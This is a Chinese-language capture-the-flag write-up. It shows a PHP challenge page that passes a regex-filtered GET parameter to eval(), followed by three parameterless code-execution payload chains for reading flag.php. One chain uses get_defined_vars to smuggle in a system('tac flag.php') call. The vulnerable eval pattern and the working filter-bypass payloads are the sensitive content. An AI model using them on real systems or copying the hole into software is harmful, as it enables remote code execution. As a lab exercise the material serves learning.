<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
方案一
1.先使用getcwd()函数查看当前工作目录
/?c=print_r(getcwd());
2.使用scandir()函数将工作目录以数组形式输出
?c=print_r(scandir(getcwd()));
发现有flag.php的目录
3.使用array_reverse()函数将数组翻转
?c=print_r(array_reverse(scandir(getcwd())));
4.使用next()函数将数组指针指向flag.php,再使用读取文件函数打印出flag.php的内容
读取文件内容:
- file_get_contents()
- readfile()
- highlight_file()
- show_source()
print_r(show_source(next(array_reverse(scandir(getcwd())))));
方案二
1.使用get_defined_vars()函数返回一个关联数组,包含所有当前作用域内已定义的变量,包括:
- 用户定义的变量
- 超全局变量(GET,G__ET,_POST 等)
- 其他预定义变量
?c=print_r(get_defined_vars());
发现数组第一个变量c貌似就是我们输入的命令,但是这里是二维数组,并且我们要利用的恶意代码在二维数组的第一个,所以可以使用current()函数获取当前指针所对应的一维数组
/?c=print_r(current(get_defined_vars()));
但是这个GET数组里面貌似没有元素含有恶意代码(奇怪了,平时写其他无参数rce都有的),那么这里我们就可以自己写一个进去,
/?c=print_r(next(current(get_defined_vars())));&1=system("tac flag.php");
特别提醒
必须先写出&1=system("tac flag.php");才能print_r(next(current(get_defined_vars())));,不然就会报以下错误
**<font style="color:rgb(0, 0, 0);">Notice</font>**<font style="color:rgb(0, 0, 0);">: Only variables should be passed by reference in </font>**<font style="color:rgb(0, 0, 0);">/var/www/html/index.php(17) : eval()'d code</font>**<font style="color:rgb(0, 0, 0);"> on line </font>**<font style="color:rgb(0, 0, 0);">1</font>**
/?c=print_r(next(current(get_defined_vars())));&1=system("tac flag.php");
接下来直接执行上面恶意代码即可
/?c=eval(next(current(get_defined_vars())));&1=system("tac%20flag.php");
方案三
?c=print_r(scandir(current(localeconv())));
数组翻转再指针向前一次
?c=print_r(next(array_reverse(scandir(current(localeconv())))));
?c=show_source(print_r(next(array_reverse(scandir(current(localeconv()))))));
就可以得到flag了(什么,你说你想看flag,门都没有)